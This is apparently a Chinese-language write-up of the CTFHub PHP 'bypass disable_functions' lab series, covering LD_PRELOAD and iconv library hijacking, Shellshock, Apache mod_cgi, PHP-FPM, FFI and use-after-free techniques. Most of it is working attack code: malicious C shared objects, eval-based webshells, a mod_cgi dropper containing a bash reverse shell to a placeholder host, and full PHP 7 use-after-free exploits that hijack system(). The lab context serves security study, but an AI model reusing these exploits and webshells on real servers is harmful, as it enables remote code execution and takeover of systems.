CTFHUB-PHP-bypass_disable_functions
很多可以蚁剑插件自己做,因为本来就是蚁剑实验室的靶场,这里有些也就用手工方法,方便掌握原理。
LD_PRELOAD
看题目一眼环境变量劫持。
蚁剑可以连,但是终端命令全被ban了。
访问/?ant=phpinfo(); 查看禁用函数:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
ban了一堆。
mail也被ban了。但error_log()
也可以调用sendmail
命令:
error_log ( string $message , int $message_type = 0 , string $destination = ? , string $extra_headers = ? ) : bool 把错误信息发送到 web 服务器的错误日志,或者到一个文件里。
而且可以看到根目录有readflag执行文件,所以直接编写恶意so开打:
UNIX下编写hack.c:
#include<stdlib.h> #include <stdio.h> #include<string.h> void payload(){ system("/readflag >/tmp/yy"); } int geteuid(){ if(getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
也可以用:
#include <stdio.h> #include <unistd.h> #include <stdlib.h> __attribute__ ((__constructor__)) void xxx (void){ unsetenv("LD_PRELOAD"); system("/readflag > /tmp/flag"); }
用
gcc -fPIC -shared hack.c -o hack.so
编译出动态链接库恶意so文件,然后上传到/tmp
目录下。
写调用代码上传,访问后直接环境变量劫持:
<?php putenv("LD_PRELOAD=/tmp/hack.so"); error_log("",1,"",""); echo "ok"; ?>
ShellShock
一样的代码,蚁剑连接,不出意外还是不能直接命令执行。
1、支持putenv 2、支持mail、imap_mail、mb_send_mail或error_log 3、/bin/bash 存在 CVE-2014-6271 漏洞 4、/bin/sh -> /bin/bash sh 默认的 shell 是 bash
当然,这里mail()被ban了。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
但是我蚁剑都连不上了,难绷,所以直接抄wp了。
上传poc:
//蚁剑提供的 <?php function runcmd($c){ $d = dirname($_SERVER["SCRIPT_FILENAME"]); if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){ if(strstr(readlink("/bin/sh"), "bash")!=FALSE){ $tmp=tempnam(sys_get_temp_dir(), 'as'); putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); if (function_exists('error_log')) { error_log("a", 1); }else{ mail("a@127.0.0.1", "", "", "-bv"); } }else{ print("Not vuln (not bash)\n"); } $output = @file_get_contents($tmp); @unlink($tmp); if($output!=""){ print($output); }else{ print("No output, or not vuln."); } }else{ print("不满足使用条件"); } } // runcmd("whoami"); // 要执行的命令 runcmd($_REQUEST["cmd"]); // ?cmd=whoami ?>
或者:
<?php # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variableswhose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variablesthat // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, // PHP will let the user modify ANY environment variable! mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
得手工,上传shell.php和test.php,用来存放命令执行结果
可能是因为test.php文件为空上传报错,但是还是传上去了,刷新一下:
shell.php:
<?php @eval($_REQUEST['ant']); putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php"); error_log("admin",1); //mail("admin@localhost","","","",""); ?>
发现在/目录有flag文件,和之前LD_PRELOAD题目一样,这次直接通过tac来读取文件。
通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload。
在浏览器访问shell.php,再打开tes,php,拿到flag:
Apache Mod CGI
利用条件 1、Linux 操作系统 2、Apache +PHP (apache 使用apache_mod_php) 3、Apache 开启了 cgi, rewrite 4、Web 目录给了 AllowOverride 权限
bypass流程
- 1、phpinfo查看服务端的配置是否支持
cgi
- 2、配置
.htaccess
文件并上传 - 3、上传反弹
shell
的文件
先写一个.htaccess:
Options +ExecCGI
AddHandler cgi-script .eddie
Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。
我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本
第二行命令的含义就是以.eddie为后缀的文件都会cgi脚本进行处理。
反弹shell的shell.eddie文件:
#!/bin/bash echo -ne "Content-Type: text/html\n\n" echo&ls //注意是.eddie后缀
也能直接命令执行:
#!/bin/sh echo&&cd "/var/www/html";ls -al;echo [S];pwd;echo [E] //注意是.eddie后缀
eddie.php:
<?php $cmd = "bash -i >& /dev/tcp/vps/port 0>&1"; //command to be executed $shellfile = "#!/bin/bash\n"; //using a shellscript $shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= "$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "<br>\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script } } ?>
扔到backdoor/目录下面,再直接访问eddie.php。会在目录下生成shell.dizzle。再访问shell.dizzle就可以成功反弹shell:
cat读不了,suid提权发现tac可用:
PHP-FPM
这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions. 因为前面我们了解了协议原理和内容,接下来就是使用cgi协议封装请求,通过socket来直接与FPM通信
但是能够构造fastcgi,就能执行任意PHP代码吗?答案是肯定的,但是前提是我们需要突破几个限制: 1.第一个问题 既然是请求,那么SCRIPT_FILENAME就相当的重要,因为前面说过,fpm是根据这个值来执行php文件文件的,如果不存在,会直接返回404,所以想要利用好这个漏洞,就得找到一个已经存在的php文件,好在一般进行源安装php的时候,服务器都会附带上一些php文件,如果说我们没有收集到目标web目录的信息的话,可以试试这种办法. 2.第二个问题 我们再如何构造fastcgi和控制SCRIPT_FILENAME,都无法做到任意命令执行,因为只能执行目标服务器上的php文件. 那要如何绕过这种限制呢? 我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了. 3.第三个问题 进行过远程文件包含的小伙伴都知道,远程文件包含有allow_url_include这个限制因素的,如果没有为ON的话就没有办法进行远程文件包含,那要怎末设置呢? 这里,FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了
这道题不支持putenv,网上都是蚁剑插件一把梭的。
其实是搞了个.antproxy.php上去,然后再去连这个php的webshell:
GC UAF
exp:exploits/php7-gc-bypass/exploit.php at master · mm0r1/exploits (github.com)(pwn的地方改命令执行)
<?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=72530 # # This exploit should work on all PHP 7.0-7.3 versions # # Author: https://github.com/mm0r1 pwn("uname -a"); function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }
利用条件 PHP版本满足: 7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 - all versions to date
不如插件一把梭:
Json Serializer UAF
Exp跟上题差不多一样,还是蚁剑直接做了:
<?php $cmd = "id"; $n_alloc = 10; # increase this value if you get segfaults class MySplFixedArray extends SplFixedArray { public static $leak; } class Z implements JsonSerializable { public function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } public function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } public function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } # unable to leak ro segments public function leak1($addr) { global $spl1; $this->write($this->abc, 8, $addr - 0x10); return strlen(get_class($spl1)); } # the real deal public function leak2($addr, $p = 0, $s = 8) { global $spl1, $fake_tbl_off; # fake reference zval $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string) $leak = strlen($spl1::$leak); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } public function parse_elf($base) { $e_type = $this->leak2($base, 0x10, 2); $e_phoff = $this->leak2($base, 0x20); $e_phentsize = $this->leak2($base, 0x36, 2); $e_phnum = $this->leak2($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = $this->leak2($header, 0, 4); $p_flags = $this->leak2($header, 4, 4); $p_vaddr = $this->leak2($header, 0x10); $p_memsz = $this->leak2($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } public function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = $this->leak2($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = $this->leak2($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = $this->leak2($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = $this->leak2($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } public function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = $this->leak2($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } public function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = $this->leak2($addr); $f_name = $this->leak2($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return $this->leak2($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } public function jsonSerialize() { global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = new DateInterval('PT1S'); $room = []; for($i = 0; $i < $n_alloc; $i++) $room[] = new Z(); $_protector = $this->ptr2str(0, 78); $this->abc = $this->ptr2str(0, 79); $p = new DateInterval('PT1S'); unset($y[0]); unset($p); $protector = ".$_protector"; $x = new DateInterval('PT1S'); $x->d = 0x2000; $x->h = 0xdeadbeef; # $this->abc is now of size 0x2000 if($this->str2ptr($this->abc) != 0xdeadbeef) { die('UAF failed.'); } $spl1 = new MySplFixedArray(); $spl2 = new MySplFixedArray(); # some leaks $class_entry = $this->str2ptr($this->abc, 0x120); $handlers = $this->str2ptr($this->abc, 0x128); $php_heap = $this->str2ptr($this->abc, 0x1a8); $abc_addr = $php_heap - 0x218; # create a fake class_entry $fake_obj = $abc_addr; $this->write($this->abc, 0, 2); # type $this->write($this->abc, 0x120, $abc_addr); # fake class_entry # copy some of class_entry definition for($i = 0; $i < 16; $i++) { $this->write($this->abc, 0x10 + $i * 8, $this->leak1($class_entry + 0x10 + $i * 8)); } # fake static members table $fake_tbl_off = 0x70 * 4 - 16; $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off); $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off); # fake zval_reference $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference) # look for binary base $binary_leak = $this->leak2($handlers + 0x10); if(!($base = $this->get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } # parse elf header if(!($elf = $this->parse_elf($base))) { die("Couldn't parse ELF"); } # get basic_functions address if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } # find system entry if(!($zif_system = $this->get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # copy hashtable offsetGet bucket $fake_bkt_off = 0x70 * 5 - 16; $function_data = $this->str2ptr($this->abc, 0x50); for($i = 0; $i < 4; $i++) { $this->write($this->abc, $fake_bkt_off + $i * 8, $this->leak2($function_data + 0x40 * 4, $i * 8)); } # create a fake bucket $fake_bkt_addr = $abc_addr + $fake_bkt_off; $this->write($this->abc, 0x50, $fake_bkt_addr); for($i = 0; $i < 3; $i++) { $this->write($this->abc, 0x58 + $i * 4, 1, 4); } # copy bucket zval $function_zval = $this->str2ptr($this->abc, $fake_bkt_off); for($i = 0; $i < 12; $i++) { $this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8, $this->leak2($function_zval, $i * 8)); } # pwn $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system); $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70); $spl1->offsetGet($cmd); exit(); } } $y = [new Z()]; json_encode([&$y]);
Backtrace UAF
exploit.php:
<?php # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. # # This exploit should work on all PHP 7.0-7.4 versions # released as of 30/01/2020. # # Author: https://github.com/mm0r1 pwn("uname -a"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }
FFI 扩展
Poc:
<?php $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami > /tmp/123"); echo file_get_contents("/tmp/123"); @unlink("/tmp/123");
FFI::cdef用于说明函数的原型,然后把参数传进去。
然后直接访问就可以得到flag。
iconv
跟第一个LD_PRELOAD环境变量劫持很像。
php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。
php的iconv函数的第一个参数是字符集的名字,这个参数也会传递到glibc的iconv_open函数的参数中。
下面我们来看一下iconv_open函数的执行过程:
iconv_open函数首先会找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。
然后再根据gconv-modules文件的指示去链接参数对应的.so文件。
之后会调用.so文件中的gconv()与gonv_init()函数。
然后就是一些与本漏洞利用无关的步骤。
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:
iconv_open函数依照GCONV_PATH找到gconv-modules文件。
根据gconv-modules文件的指示找到参数对应的.so文件。
调用.so文件中的gconv()和gonv_init()函数。
首先上传gconv-modules文件于/tmp文件夹,其内容如下:
module 自定义字符集名字(大写)// INTERNAL ../../../../../../../../tmp/自定义字符集名字(小写) 2 module INTERNAL 自定义字符集名字(大写)// ../../../../../../../../tmp/自定义字符集名字(小写) 2
hack.c:
#include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { system("/readflag > /tmp/flag"); }
生成so文件:
gcc hack.c -o hack.so -shared -fPIC
把so传到/tmp里。
1.php:
<?php putenv("GCONV_PATH=/tmp/"); iconv("hack", "UTF-8", "whatever"); ?>
访问就完事了。
也可以蚁剑一把梭:
bypass iconv 1/2
同上,蚁剑一把梭。
除了那个有问题的环境,能出的都出了。
参考:
CTFHub-bypass_functions_disable - ggb0n's Blog
CTFHub Bypass disable_function系列(已完结)_ctfhub bypass disable function-CSDN博客